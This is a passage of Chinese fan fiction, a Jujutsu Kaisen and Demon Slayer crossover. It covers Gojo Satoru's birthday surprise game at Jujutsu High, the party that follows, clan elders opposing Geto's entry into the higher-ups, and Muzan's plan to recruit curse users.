五条悟穿着一袭特质的生日和服,是接近六眼颜色的空灵的蓝, 袖口和领口都手绣了金丝的图案。五条悟坐在餐桌前, 放下筷子, 碗里还剩一点点的面汤,接着用纸巾擦了擦嘴, 示意自己光盘啦。 “今天是准备去高专找同学们玩吗?” 五条瑾坐在对面,笑容温和。 “是哦。” 五条瑾招收让下人来收拾,“嗯, 那祝悟君玩的开心。” “那是肯定的啊。”五条悟比了个wink, 看上去心情很好。 不过在出门前,五条悟把家主准备的衣服脱了下来, 特意换上了高专的校服,少年人的身体抽条了不少, 但好在还算合身,衬得人身形修长。 电话的铃声响起来,五条悟接后,鬼舞辻无惨的声音从对面传了过来, 带着如同往常一样平调的冷意, 但背景音效似乎时不时传来一声声惨叫, 然后又戛然而止。 “你解决啦?” 五条悟有点惊讶,“效率还挺高的嘛。” “你人呢, 还在五条家?” 电话的另一头, 鬼舞辻无惨皱着眉,高高在上地瞥了两眼正搁地面上打滚的家伙。 “老子在享用生日祝福,怎么了吗。” 五条悟嗯了两声, 往一个方向瞬移过去。 接下来的两个小时内,五条悟带着鬼舞辻无惨穿梭在五条家的各个分部,上蹿下跳地把能找到固定行踪的五条家的高层和各位长老们通通“拜访”了个遍。 和现任家主同派的就正常拜访,有冲突的按年龄阶段和身体状况分类,还算硬朗的直接打上门恐吓一顿,身子骨一般的就只能给点压力吓唬吓唬,避免直接给人整没了。 再加上这群老东西相互间都有交流的渠道,一时间不约而同地感受到了“阎王点卯”的恐怖感。 等做完这一切,五条悟身心舒畅,拉着鬼舞辻无惨就冲到了高专。 但等两人真到了高专,从大门到宿舍的整段路,诡异的没看见任何人。 五条悟怔了一下,接着十分不敢置信地冲到半空中,让自己的视线,以及六眼的观察范围能扩大到整个高专。 “房间里……都没人,咒力残留看不出什么特殊的地方……” 五条悟的身影停滞在半空中半晌,愣是没有发现这下边有什么古怪的地方,唯一古怪的就是真的一个人影都没有。 确认自己没有看错之后,五条悟落回到地上,原地转了两个圈,表情迷惑。 “等等,没人吗? 啊?有没有搞错啊。” 五条悟颇为不满地跺了下脚,把台阶上的小石子猛地踹到下面。 “不可能吧,恶作剧?这么无聊。” 鬼舞辻无惨在他的身后上了楼梯,慢悠悠地补充到:“看你恶作剧别人的时候,分明玩的挺开心的。” 五条悟声音顿了一下,接着又是断断续续的发言。 “不一样的吧,那这种事来恶作剧,不要哇!” “有没有一种可能,他们确实是没有打算给你过生日的呢?” 鬼舞辻无惨像是嫌五条悟还不够扎心,不慌不忙又补了一刀。 “不可能,绝对不可能。”五条悟抱着手扭过头去,绝对不认为是这种原因。 “哼。”五条悟颇为置气地冷哼一声,任性地说:“怎么可能都不在高专,连夜蛾那家伙也不在。” 接着五条悟掏出手机接着把夏油杰、家入硝子、夜蛾正道的电话通通打了个遍,结果要么是关机,要么就是不在服务区。 五条悟自己就是恶作剧大王,怎么可能到现在还看不出来,就是高专的众人合起手来捉弄他。 现在五条悟倒是放下心来,还算有了点兴致,但六眼看不出什么问题,可能是什么特殊的咒灵或者遮掩性质的咒具?但咒力流动痕迹是逃不过六眼的观测的。 思索无果,于是五条悟站在原地,骂骂咧咧地提高了自己的声音。 “杰!你们在搞什么东西啊!” 无回应。 “……硝子,我们可是半年没见了,你就这么对你的同窗吗?” 无回应。 “……一年级的几个!算了你们估计也是被拉着来的。” 五条悟撇了撇嘴,十分确信罪魁祸首是谁。 然后他叹了口气,双手叉着腰,半是威胁地说:“喂,夜蛾老头,你也不想高专被我整个拆掉吧?” 边说着,五条悟边在指尖凝聚咒力,一副“再不出来老子就把这里全轰了”的架势。 此时此刻,正坐在屏幕后方的夜蛾正道顿时脸色一沉,忙让夏油杰别把人逼太狠。 夏油杰不慌不忙地按了两个按钮,接着机器启动的声音响了起来,随着一束光线的经过,闪着银光的黑色字体出现在木质的地板上,一个个箭头,就像是在给五条悟指路。 五条悟见状,想都没想就跟着箭头走了过去。 鬼舞辻无惨落在他后面,倒是对现场的机关有点感兴趣,在光束的源头找了一会儿,成功找到了被隐秘布置的摄像头。 像是已经知道了什么,鬼舞辻无惨从暴力解法和跟着指引两个选择中间,选择了用bug级别的能力作弊。 他直接通过血液联系,让自己的声音在灰原雄脑子里响起来,并一道控制住他的表情和动作,避免被坐在他旁边的七海建人发现。 鬼舞辻无惨:“所以你们这群人,策划了什么?” 灰原雄老老实实回答到:“是夏油学长的意见,说五条学长在生日的时候肯定会回高专的,让大家一起给他准备一个特殊的生日。” ……灰原雄愣了两秒,在觉察到对方的精神控制收回的时候,有些迟疑地问出口:“那个,能不能先不要告诉五条学长……” “可以。”鬼舞辻无惨没有什么反应,直接应下了,接着慢悠悠地跟着箭头走到对应的教室里,“是挺有意思的,我是指对五条悟而言的话。 况且,我并没有兴趣特意去扰他的兴致的习惯。” 在鬼舞辻无惨进来之前,投影屏已经自动开启,背景音播放的是一种颇为洗脑的音乐,常常出现在各种让人抓马的小游戏中。 投影屏上出现了一眼看就十分潦草的简笔画,还有十分随性的艺术字体,构成了一副容易令人尴尬的小游戏开始画面。 但五条悟对此接受良好,走到投影屏的前面,按下了“开始”的按钮。 接着又是一阵颇为活泼的音乐,投影屏开始播放PPT,跳脱的艺术字体一个一个地弹出。 「震惊!东京咒术高专被不明咒灵袭击,它将你的伙伴尽数掳走。咒灵放出狠话,想要救出你的伙伴,就必须通过它设下的关卡。 只有最最最好的朋友才能通过咒灵设下的关卡,一起来挑战吧!」 片头跳完,PPT经过百叶窗弹出了一条非常简陋的线路图,每个节点的尽头都是一个特殊的火柴人。 比如第一个节点的火柴人有一头明显的短发,嘴里还叼着一根烟,显然是家入硝子。 第二个火柴人则是从脑门上多出来了一条线,看都不用看就知道是夏油杰。 第三个火柴人看着就精细许多,具体表现在头发上了色,是很温和的金色,应该指的是一年级的七海建人。 第四个火柴人没什么特殊的标志,但是唯一一个画了具体表情的,是很开心的大笑,估摸着就是灰原雄了。 最后一个则带着四四方方的眼镜,还画了一圈胡子,特征非常明确地指向了夜蛾正道。 但最让五条悟忍不住的是,“所以,老子是这个脑门上顶着俩圆圈的?” 五条悟指着路线开头的火柴人吐槽到:“美工谁啊?太敷衍啦,差评!” 五条悟骂骂咧咧,游戏照常开始,伴随着尴尬的背景音,代表五条悟的火柴小人走到了第一个节点。 然后屏幕上冒出来一句话。 「叮!你的同伴被咒灵弄昏啦,请你用最具有说服力的语句唤醒她吧!」 接着跳出来一道横线,五条悟眯着眸子,点了两下屏幕,没有动静,估计是让自己填些东西。 五条悟沉默半晌,丝毫没有压力地写下“五条家酒水畅饮,不要999,也不要99,来就送豪华烈酒大礼包”。 屏幕后,家入硝子额头抵着手机屏幕,“噗嗤”一声笑开了花,接着PPT上的内容开始变化了,十分有个性地变成了———— “保真吗五条?” 五条悟捏着嗓子回答道:“让老子通关就保真哦,硝子。” 接着代表家入硝子的火柴人暗了下去,换成了大大的“√”。 然后,窗户外传来一声轰响,五条悟向外望去,几大箱的啤酒出现在原先空旷的草坪上,还有一个绕着一圈一圈鲜花的拱门。 五条悟顿时眼睛一亮,迫不及待地前往下一关。 「叮!你的伙伴自从当上了某教的领袖后,整日因为繁忙的教内事务而忙得不可开交,请选择此刻最能安慰他的话吧。」 五条悟眨巴眨巴眼睛,在安慰和闯关之间,选择了再在夏油杰的膝盖上射一箭。 “没事的,杰,等你进入高层之后,会更忙的,完全不用担心事情不够做。” 此时此刻,还坐在屏幕后的夏油杰:………… 家入硝子艰难地憋着笑,然后用力拍了拍他的肩膀。 夏油杰咬牙切齿,键盘被他打得劈啪作响。 “你不也一样要忙五条家的事吗?御三家留下的烂摊子收拾好没有。” 五条悟做了个鬼脸,“哎呀,谁让老子对内对外都有帮手呢。老子才不要进高层,会被烦死的。” 夏油杰用力咬了咬牙,暗道自己才不和他置气,要冷静,冷静。 接着夏油杰的火柴人伸着手臂比了个大大的“×”,然后屏幕上跳出一行字: “你完了悟,我决定把给你准备的甜点换成苦瓜酱的。” 五条悟:??? 接着又是熟悉的声响,果不其然,窗外的空地上出现了满满一桌的甜品,看着就就好吃。但五条悟凝视着屏幕上的那行字,尤其关注“苦瓜酱”三个字,不由得打了个寒颤。 “可恶啊杰,老子要谴责你!” 五条悟边说边装模作样地抹了下那并不存在的眼泪,心里感叹还好这桌上没有生日蛋糕。 谴责无效,但好在一年级的两位并不准备在这个阶段刁难学长,出的都是很简单的题,灰原雄问的是自己喜欢吃什么,答案当然是米饭了。七海建人问的是自己在上学的时候最想要什么,五条悟思考了两秒钟,然后填上“假期”两个字,成功过关。过关后分别出现了一排一排的烧烤架,和堆在拱门旁边的礼物盒。 最后轮到夜蛾正道,五条悟原本认为他会搞点煽情的,比如最令他感到骄傲的学生是谁之类的问题,但夜蛾正道的火柴人双手抱着胸,身子一动不动,潦草的火柴人仿佛真的能隔着屏幕看见五条悟一样。 「鉴于你之前的无理举动,校长决定向你提问,两位东京咒术高专的二年级生,在校内造成的破坏,最终花费了多少金钱来修复。」 五条悟:大脑空空。 夏油杰本人就坐在夜蛾正道面前,虽然他退学了,但这题一看就指的是他和五条悟,夜蛾正道的视线落在他背上。 夏油杰:汗流浃背。 “啊!”五条悟怪叫一声,“夜蛾怎么能这样,这老子哪里知道啊。” 屏幕上的字又变了,“你造成的破坏,最后都是五条家出钱修缮的。” 五条悟撇了撇嘴,也不知道是担心自己的生日蛋糕也变成苦瓜酱的,还是别的什么原因。总之在离开五条家几个小时后,五条悟再次给家主打了个电话。 五条瑾:…… 虽然不知道他为什么要问这个问题,五条瑾心里默念几秒,给五条悟报了个大概的数字。 五条悟先是愣了一下,然后大声说自己知道了,挂掉电话后把这串数字报给了夜蛾正道。 此时此刻,在现场的其余几人,脑海里的意识出奇的统一:这么多?高专吃回扣啦? 夜蛾正道咳嗽了两声,简单地解释了两句,“高专的建筑和各个场地用的都是特殊的材料,有的时候还需要特殊加固。当然,也只是从三天碎一次转变成一周碎一次而已。” 夏油杰尴尬地挠了挠脸,眼不见心不烦,并将最后还未出现过的生日蛋糕摆到了正中央,前面是烧烤架和一箱一箱的啤酒,后面是一桌子的甜品。 然后是凭空出现在教室里的五个人。 虽然搞不懂原理是什么,但五条悟显然是兴奋到了极点,冲上去给每个人都来了个熊抱,最后松开抱着夏油杰的手,无缝衔接开始嘲笑他现在的装扮。 “感觉你现在比视频里的样子要更搞笑,怎么回事啊杰。” 夏油杰皮笑肉不笑地回答他:“没品味是这样的,悟。” 和他相比,五条悟倒是嬉皮笑脸:“你在说自己没品味吗?” 夏油杰:冷静,要冷静。 “……再笑你的生日蛋糕也会变成苦瓜酱的。” 五条悟:老实了。 五条悟食指和拇指的指腹合起来,在嘴唇上拉过,做出个拉拉链的动作,示意自己闭嘴了。 第65章 第 65 章 生日篇:终…… 灰原雄和七海建人正站在烧烤架前, 翻动着滋滋冒油的烤肉。一旁,啤酒的泡沫溢在玻璃杯的边缘,接着那酒液猛的晃动, 被家入硝子两口咽下去半杯。 “啊, 空腹喝酒的话, 家入学姐不会胃疼吗?” 家入硝子瘫在椅子上摆摆手,面色轻松。 “小意思啦, 我当饮料喝的。” 灰原雄手法娴熟,撒调料的时候还有功夫给家入硝子竖了个大拇指。 “哦!那确实非常厉害!” 鬼舞辻无惨研究完现场的布置,直直从五六层楼高的半空中跳下来, 轻飘飘地落在灰原雄面前。 “看你的表情, 还对正常人的食物如此热衷吗?” 鬼舞辻无惨颇为惊讶地跟灰原雄询问到。 “对啊。”灰原雄的表情一如既往的坚定,且乐观, “超级有食欲,感觉身体变好了之后连训练都变得有力气了。” “不过我之前去找校长, 他劝我不要申请咒术师等级测定。” 说起这个,灰原雄的表情很疑惑,下意识抬了下手,就像是想挠头, 但转念就想起自己还在烤肉, 就只是握了握拳头。 “听校长的没错, 他在保护你。” 七海建人慢吞吞地说到,他的声音低哑, 但很平稳。 “我知道啦。” 鬼舞辻无惨倒是对灰原雄目前的状态十分感兴趣, 上上下下把人扫视了个遍。 与此同时,在另一边。 五条悟和夏油杰装模作样地立正站在台阶前,目视远方, 妄图通过装深沉的方式来偷懒。 “杰,一年级的学弟们要忙这么多,你这个好学生怎么不上去帮忙啊。” 夏油杰双手背在身后,眼睛微微眯起,成了一条缝。 “学弟们也需要考验才能成长啊。” 站在一旁的夜蛾正道嘴角一抽,恨不得使出两发夜蛾铁拳和他们的脑袋亲密接触。 “所以给学长的生日会准备烤肉和布置场景,究竟算哪门子的考验啊?” “这你就不懂了吧,夜蛾校长。”夏油杰没有回头,颇为怨气深重地补充到,“这是在锻炼他们的抗压能力,等当了咒术师后才能无缝衔接每一个任务。” “你说错了一点吧,杰?”五条悟猫猫歪头,“你那边不是在平民里挖了很多咒术师人才吗,听说你开班都开了好几个了,也能派上用场吧。” “你是万恶的资本家,悟。”夏油杰痛心疾首,极度谴责,“那些孩子大多数都是五六岁左右的年纪,成年的就更少了,因为自己的特殊性连能正常生活的能力都没有,怎么能这样就让他们给咒术界卖命呢。” 五条悟顿了一下,接着弱弱补充到。 “搞得我们成年了一样。” 夏油杰跟着他沉默了,半晌才憋出一句“你说得对”。 夜蛾正道叹了口气,走到他俩身后,拍了拍二位的肩膀,语气沉重但欣慰。 “你们两个,想做的事办的怎么样了?” “问他。” 夏油杰把目光转向了五条悟。 “啊,你以为老子说你马上就要当高层了是假的啊。” 夏油杰眉毛一挑,语气纠结,“悟啊,我不是跟你说了吗,最好不要用这个称呼啦。” 五条悟的脑袋平移过去,视线转了个大弯,然后落在夏油杰的脸上。五条悟总感觉自己的挚友当了半年的盘星教教主,连面相都快变了。 但这并不妨碍他抬了下眼镜,接着双手抱胸,语气拽的要死。 “就不改。”五条悟眨眨眼,目光真诚地接着说到,“气死你(  ̄▽ ̄)。” 夏油杰:拳头硬了。 早就该知道这人的嘴里说不出正经话,夏油杰握着拳头,一副十分想发作的样子。 但他的肩膀上又被夜蛾正道拍了下,接着就是校长那张被墨镜遮了一半的脸,还是面无表情,颧骨的阴影打在侧脸上。 夏油杰:老实了。 “但你们五条家不是还有好几位高层吗?准备怎么搞,总不能让他们控票吧?” 五条悟手一摊,语气坦然,“这还不简单,老子把你的票增加点权重不就行啦。” 夏油杰:“再加个一票否决权。” 五条悟右手慢慢抬起,在脸颊旁边比了个“OK”的手势。 紧接着,不远处冒出已经熟透了的肉类的香气,带着孜然的渗透了整个味蕾。 “那边的两个混蛋——啊,还有校长,烤肉好了喔——” 家入硝子一般喊着,一边晃了晃酒杯,接着享受般地喝下一大口。 伴着正午的阳光,大家聚在一起,家入硝子顺手捞起一串牛肉,懒洋洋地说到:“随意啊随意,能喝酒的喝酒,不能喝的坐五条悟那里。” 此刻正挨着五条悟坐的夏油杰:挪了挪位置。 五条悟:…… “可恶啊硝子!你这是歧视老子!” 家入硝子嗤笑一声,丝毫不掩饰自己的嘲笑,并给夏油杰扔了一瓶过去。 灰原雄被鬼舞辻无惨盯得动作都僵硬了起来,十分识趣地给他端了一盘烤肉和蛋糕。 “……要试试嘛?” 鬼舞辻无惨慢悠悠地持着叉子,弄了一小块送入口中,慢条斯理地咀嚼。 “所以,怎么样?” 没有好坏的评价,鬼舞辻无惨在咽下去之后,无论是面色还是声音都没有变化,心情看不出好坏。 “甜的。” 不远处,夏油杰两杯酒下肚,和五条悟鬼鬼祟祟地凑在一起,两人试图用自己的面部肌肉和手语来交流,最后以失败告终,具体体现在五条悟一动他的眉眼,欠揍程度直接飙升。 夏油杰努了努嘴,示意他看向远处那人。 “什么意思,你俩现在几个意思?” 五条悟表示这些都是小场面,“我俩现在处于恋爱综合期的中间,不要这么惊讶嘛杰,显得你很没有见识。” 夏油杰对他的时不时嘴贱渐渐脱敏,“五条家的人能同意?” 五条悟摊手:“无人在意。” 夏油杰做出跟他同款的摊手动作,“人与人的悲欢个不相通,我那边倒不是有实力就能解决的。” 五条悟边嗦蛋糕边说,声音模糊不清。 “细说。” 夏油杰叹了口气,表示你很难想象有些人脑子里到底在想些什么。 有的家长不相信夏油杰的说辞,当场选择报警,结果警察来查完他们的证件之后,又反手说他们是一伙儿的,就是为了联合起来诓骗他们的宝贝孩子。 有的家长根本就不觉得这是个大事,一心认为这是孩子魔怔了,执拗地认为花俩小时就能治好,拒绝跟教里的人交涉。 与上面完全相反的,有的家长估计压根都不想要这孩子了,两个月了无音讯,十一二岁出头的孩子就已经完全自己生活了。 当然,这还算好的。 越是去想,夏油杰的语气愈发的沉重。 “……我一周前,接到村民们的邀请,说是他们山上闹了邪祟,想请我去做法。 我的第一反应,是有咒灵活动,于是直接同意了,跟着他们去到了村里。” 夏油杰闭了闭眼,甚至不敢想象那时的画面。 “但我到了现场才发现,村民们所说的灾祸…………” “是咒术师?” 五条悟歪着脑袋去看他,语气平静。 “……嗯。” 明明情况是那样的悲伤,有天赋之人被盲目之众铐上枷锁,背侮辱与打压。但诸般言语,最终只是化作一个简单的语气,然后浓浓的哀伤与思量,通通化为这颗心脏之下的泥沼。既拖着他前进,又阻拦着他的步伐。 “你看上去一点都不惊讶呢,悟。” 五条悟咽下最后一口奶油,语气还是那么的波澜不惊,但这平静之下亦有水花。 “在先前的御三家,没有咒术师天赋的孩子,如果当不成仆人,最后的可能就是被推到咒灵堆里喂咒灵。 在普通人的世界,能看见咒灵的咒术师会被当做脑子出了问题的精神病患者,囚禁电击无所不用。” “这是没办法改变的,杰。 这是普通人和咒术师间虽然脆弱,但深厚且不可动摇的壁障,任何组织或者势力,只要有点脑子,就不会把这道壁障打碎。” “你也不行吗?” 夏油杰的声音听着有些落寞。 “你自己不才刚刚说过吗? 有些事情,不是纯靠武力就能解决的。” 五条悟问到:“所以最后是怎么解决的?” 夏油杰靠在椅背上,抬头仰望天空,声音有些缥缈。 “非法囚禁啊,能怎么搞,当然是报警了。” 趁着夏油杰独自emo的时间,五条悟抬手施展“苍”,拿了一瓶还未开盖的酒,两下子就把瓶盖弹开,然后给自己倒了一杯。 夏油杰身子没动,但不用脑子想都知道五条悟要干嘛。 “你小心点,等会硝子要来控诉你浪费好东西了。” “老子生日最大。” “少喝点,别等会直接趴下了,下午还有……靠。” 夏油杰表情疑惑,皱着眉摇了摇头。 五条悟闻着酒的味道,感觉有点冲冲的,但是还好。虽然有点难喝,但难喝一下,诶,味道忘了,再喝一下,我去好难喝,不对劲,再喝一口。 三口下肚,大脑报废。 但好在五条悟喝醉了之后,酒品还挺好的,不吵不闹不打架,唯一的缺点就是摘了夜蛾正道的墨镜给夏油杰戴上,最后还要笑一嘴他的刘海怎么变成对称的了。 夏油杰老老实实地把墨镜重新还给夜蛾正道,另一只手跃跃欲试准备给五条悟来个正义暴击。 但五条悟弹射起步,直接以一个诡异的角度躲开,随后两步助跑,成功让自己落在了仍在于灰原雄交谈的鬼舞辻无惨的怀里。 五条悟:“满分!” 鬼舞辻无惨:………… 第66章 第 66 章 诅咒师篇1 下午时分, 天空是阴沉沉的模样,灰色的云层在绿茵之上,遮掩住了阳光。然后是一阵阵的风, 一点一点地拨开了厚厚的云层, 露出一个两个的缝隙。 接着是阳光透了过来, 落在地上,形成一个个明亮的光点。 大门紧闭着, 门内,五条悟端坐在众人的最前方,面无表情, 破天荒的没戴眼镜, 目光直直落在地板上,看着窗外透进来的阳光的倒影。 熟悉他的人, 大抵一眼就能看出五条悟现在心情不好。他的唇角下耷,嘴唇抿紧着, 手指有一搭没一搭地点着桌子。 ………… “这就是你教出来的好儿子?” 五条悟眼神一暗,脑袋没有动,视线划出锋利的刀刃,向声音传来的方向切过去。 “您说笑了。”五条瑾坐在众人的中间位置, 坦然地接受身边几位老者的怒视, “在下向来坚信, 六眼的命令,才是五条家的指令。” 五条悟敲了敲桌面, 清脆的声响将余下几人的视线吸引过来。 “喂, 问责就问责,扯到哪去了。” “老朽是绝不会同意,让咒灵操使进入高层的。” 附和声接连响起。 “绝不可让平民左右咒术界的未来。” 越是苍老的声音, 便越是缓慢而庄严,带着厚重岁月间的雪花,落下又散开。 “平民咒术师没有资格进入高层。” 五条悟在心里翻了个白眼,侧脸抵在握拳的右手上,听着这群老东西瞎念叨。 “你背叛了你的出身。 背叛了你的家族。 背叛了一切将你托举至如今境地的人。” ………… 五条悟将脑袋转过去,直到看见了下面的众人中,坐在最前方的那一位。 在他说话之时,其余众人包括家主,一同低下头缄默不语。只有五条悟还坐在前头,目光直直地盯着他,沉着嗓音说到。 “别搞得好像是我罪大恶极一样,老不死的。” 五条悟歪着头,呼吸声不见一丝紊乱。 老者没有对他的称呼作出反应,或者说,在老者的心中,目前所发生的事,不过是五条悟在耍小孩子脾气,不愿意承担家族重担的赌气而已。 担心这两位的冲突进一步加剧,五条瑾低着头,毕恭毕敬地出声劝阻。 “阁老,少主他……” 但这话才刚开了个头,就被阁老沉着声打断,没有给他一丝颜面。 “闭嘴。” 这指责不带有一丝的怒意,仅仅只是高高在上的俯视。 “家主也如此不知礼数了吗。” 五条瑾用手背贴着额头,俯下身去。 “是瑾失言。” ………… 五条悟重重叹了口气,强忍着把这里全轰了的念头。 他非常明白,任何的解释和说服都是行不通的,这群人只看结果而不在乎形式和过程,他们唯一在意的就是,平民咒术师没有资格和他们平起平坐,更没有资格对本该由他们控制的东西指手画脚。 既然是平民,既然无家世,既然无赫赫之才。 那就闭上眼睛,捂住耳朵,只需跟随着他们的指引,只需随在他们的身后去试探悬崖。 因为群氓无智,哪怕聚集起来,也不过是一盘散沙。 五条悟的舌尖抵着腮帮子,目光垂落。 ………… “可以这样做吗?” “你早知道答案,为什么要问我?” 五条悟十分放松地躺着,后脑枕在鬼舞辻无惨的大腿上,一下一下地咬着后牙。 枕膝的这个姿势,最早还要说到五条悟生日那天。 五条悟因为给自己灌了不到一杯的啤酒,华丽丽地晕了过去。在彻底丧失意识之前,他做了包括但不限于: 硬摘夜蛾正道的墨镜给夏油杰戴上,差点把夏油杰的刘海剪掉,拉着两位一年级飞到高空然后做自由落体,试图用奶油往家入硝子脸上糊,美其名曰帮她上妆。 在一阵鸡飞狗跳之后,五条悟总算是安静了下来,在自由落体的中途找准了落点,最后把鬼舞辻无惨当肉垫完美着陆。 其他人:这么一看似乎我还不是最惨的。 鬼舞辻无惨:………… 因为身高不够,鬼舞辻无惨是用骨刺提溜着五条悟的脚裸,把人倒立着晃悠了半天,最终才让他稍微清醒了点。 但代价就是五条悟感觉自己浑身都不带劲,迷迷糊糊地扒拉着鬼舞辻无惨就又睡了过去。 现场是夏油杰、灰原雄和七海建人一起收拾的,众人给他准备的礼物,最后是让五条家的人开车来,把礼物连着盒子一起送回去。当然还包括他们家少主醉死过去之后死沉死沉的身体。 五条悟长手长脚的,在车里睡得难受,试图通过侵占鬼舞辻无惨的乘车空间的方式,让自己能横躺在后座。 但鬼舞辻无惨的身子岿然不动,并且大有“再动就把你丢出去”的架势,五条悟感知到了危险的气息,缩了缩手,扒拉着他的身子就不动了,正好把人当靠垫。 等到了五条家,鬼舞辻无惨在五条悟脸上拍了两巴掌,把人叫醒。 五条悟睡饱了,一睁眼就感受到鬼舞辻无惨落下的视线,还有脑袋上柔软的触感。 虽然思维有点奇特,但五条悟那时候的想法是,恋爱番里常出现的情节,为什么老子不能用? 所以五条悟欣然接受了这个姿势,并试图赖着不起,最后被揪着后领扔出车外。 一开始亲近的时候,五条悟还会被逗得面色发红。再之后就习惯了,还能在鬼舞辻无惨逗他的时候顺势要个亲吻。 虽然一早就知道,让夏油杰进高层这件事有阻碍,但也没想到阻碍这么大呀。 之前打压禅院家和加茂家的时候,五条家上下所有派系基本都和和睦睦的,非家主派系的成员配合度非常的高,五条悟还以为时间到了可以对高层的本质动刀子的时候了,但那群烂橘子的态度出乎意料的坚决。 “主要关键就是,他们还动不得吧。” 在五条家一家独大的时候,由于原先由三个家族统筹管理的事务,全部落到了五条家的头上,就使得任何的单独派系,都无法完全处理好亟待解决的事件。 因此,五条悟不得不将重心放在各地的“窗”组织上,使得五条悟一派牢牢掌控了基层的咒力监控组织。这个行动主要是为了和夏油杰的平民人才培育计划相互辅助的。 代价就是,其余派系有机会参与各大家族间的勾连暗合,在辅助监督内部安插人手,诸如此类的行为,使得他们能暗中掌控咒术界中心的脉络。 每个高层,本质上都是其派系的代理人,单纯的杀戮只能清扫一批,后续能补上来的人源源不尽。 而且五条悟一旦任着性子大开杀戒,也会让其余派系有所戒备,整改工作举步艰难。 明枪易躲暗箭难防,根植了千年的秩序无法在朝夕之间得到肃清,并且随时有可能卷土重来。 五条悟翻了个身,懒洋洋地打了个哈欠。 “行吧,至少先保证杰那边不被渗透吧,剩下的东西还要另外告知他。” 五条悟嘟囔了两声,呼吸声绵长。 “你最近是不是去找过伏黑甚尔?干嘛不叫上我。” “本来很简单就能做好的事,带上你就就会变麻烦了。” 五条悟瘪着嘴,十分不认同这种说法。 “怎么可能,老子至少还能指点指点你那宣传片的运镜,哪有那么不堪啊。” …… 是的,鬼舞辻无惨让伏黑甚尔,包括他的联络员孔时雨,再加上之前见过的情报员知夏子,三个人一起肩靠肩站在摄像机面前拍了个小短片。 具体的内容则是简单说明了,曾经的术师杀手目前正在为五条悟工作,俩顶级的情报员也在为咒术界工作,试图用三人在诅咒师界的影响力,说服部分不受官方控制的诅咒师来鬼舞辻无惨手底下。 这个行为的本质上还是为了吸收不愿意受咒术界管控的人,通过给予报酬和生命保障,吸引对方重新来流入咒术界。毕竟诅咒师搞起事来也是一批不容小视的力量。 愿意登记的登记,不愿意登记的至少要让官方知道有你这么个自由人存在。实在罪无可恕的就杀无赦,目的是为了打造一个受咒术界管控,但独立于咒术界的自由交易平台,领导人是鬼舞辻无惨。 曾经的暗网可以算作是这个连结众人的平台,但暗网毕竟养出的都是为了钱财不顾性命的亡命之徒,不好管。 这种行为毕竟是石破天惊头一回,视频发上暗网,低下一堆一堆的谩骂,甚至连两人的生意都不好做了。 有人暗暗询问事件的真相和进展,有人看不惯,觉得这三人背叛了诅咒师,又不敢把矛头指向实力强大的伏黑甚尔,就拿孔时雨和知夏子开刀。 孔时雨紧急离了日本避避风头,知夏子则是选择: “大人啊,你是知道我的。我只是个柔弱的情报贩子,没有天与暴君那样的强大力量。 大人您要是不管我,赶明儿我就连渣都不剩了啊 (*?????)。 ” 鬼舞辻无惨被她吵烦了,给了她蛮多自己的血的,还让人领悟了独特的鬼血术。 “具体的面见时间?” “明天,很快吧。” 第67章 第 67 章 过渡章:山…… “夏油……” 夏油杰被身后的人喊住了, 慢慢回过头去,面色温和地看着她。 “怎么了,真奈美?” 菅原真奈美翻了两下手里的文件, 上两步跟到夏油杰的面前。 “有一笔新的汇款进入了教会的账户, 您知道是怎么回事吗?” “啊, 那应该……”夏油杰的话语在口中绕了个弯,揉碎了才说出, “是五条家那边打来的吧?” “巧了,正好最近缺钱。”菅原真奈美挑了挑眉,像是明白了什么, 但没有说破, 装作不经意间问起来,“那高层那边怎么说, 同意你加入了吗?” “很遗憾。”夏油杰摊手,“那群家伙至今也没有同意。” 菅原真奈美掀起眼皮, 满脸无所谓地说:“嗯,希望是他们不同意。” 夏油杰无奈地笑了笑,说:“你觉得有人在骗我?” 菅原真奈美一摊手,满脸无辜:“怎么会呢。其实我只是在想, 今天好像是你的朋友召集诅咒师的日子, 你不去瞅瞅吗?” 夏油杰沉吟片刻, 摇摇头。 “算了吧,他们有他们的事, 我也有我的事。” “嗯嗯, 说的真不错呢,夏油教主。”菅原真奈美温柔地笑起来,“不说这些了。孩子们还在等着你呢。” …… ………… 距离伏黑甚尔三人的宣传视频在暗网的上挂了好几个月, 下面评论叠了数万条,内容包括但不限于———— 单方面嘲讽的: “这几个在发什么颠?” “不是,这个老实的跟个鹌鹑一样的男的是谁?还是我认识的那个暴君吗?” “暴君可以单纯用钱收买,剩下两个都是没什么战斗力的,懂了吧各位。” 思考延展到整个咒术界的: “咒术界又有行动啦?” “五条家不是已经坐稳了高层吗?连我们这群闲散人都不准备放过?” 把这当成正事认真分析的: “咒术界想对我们这群人动刀子什么时候都可以,干嘛非要搞这么个弱智的形式?” “知夏子这女的不是标榜独立的自由情报人吗?那边给出了什么条件,能让这家伙也一起合作?” “老子看这群人的表情也不是很情愿啊。” “不情愿不就更恐怖啦?” ………… 而大会当天。 “百分之十七,比我想象的人要多。” 鬼舞辻无惨翻动着前来参加的人员名单,当然,名单十分的简陋,最多不过是简单的称呼而已,参加意愿更高的诅咒师也只是加了照片。 毕竟这年头当诅咒师的基本上都有些不能为人知的小秘密,对自己的信息也捂得很死。 但比较起来看,愿意到场的人里,基本还能算的上纯良了。真正邪恶的诅咒师,根本不会相信所谓招安的戏码。 知夏子双手合十,仰天长叹。 内心:啊啊这人居然没挑毛病,太棒了,我还以为来的人这么少自己肯定要完了…… 鬼舞辻无惨的视线轻飘飘地扫了她一眼,知夏子顿时老实了,用一个标准的微笑回视过去。然后就发现对方的目光偏转了一下,最后穿过,落到自己身后。 下一秒,浓重的血腥味从身后传来,意识到发生了什么的知夏子顿时瞳孔骤缩,呼吸停了半晌。 处理掉不长眼的渣滓,鬼舞辻无惨微微一笑,欣然向台前。 ………… 夜蛾正道擦拭咒骸的动作一顿视线连带着大脑转向到门口,直直地看着漫不经心走进来的人。 “准备回来?” 五条悟怼开门,大摇大摆地走进来,往沙发上一坐,接着十分自然地翘着脚瘫在沙发上。 “是,准备回来了。” 夜蛾正道没再问什么,只是继续手上的动作,原先无生命的咒骸,在他手中换发出别样的光彩。 “等下半年,硝子都要三年级了。 你也一起吗?” 五条悟摸着下巴,随着动作带动着五官一起在脸上乱飘。 “啊……新的一年级有什么好苗子吗?” “只有一个学生确定入学,咒力天赋……一般。” 夜蛾正道叹了口气。 “天赋一般么……” 五条悟的声音被拉的很长,直到尾音几乎消散,这才一拍手掌,心情看上去还不错。 “不过你送来的那几个小孩子,天赋有参差,但心性都不错。” “五条。”夜蛾正道放下手中的咒骸,面上露出欣慰的表情,“五条家那边,不会有反对的声音吗?” 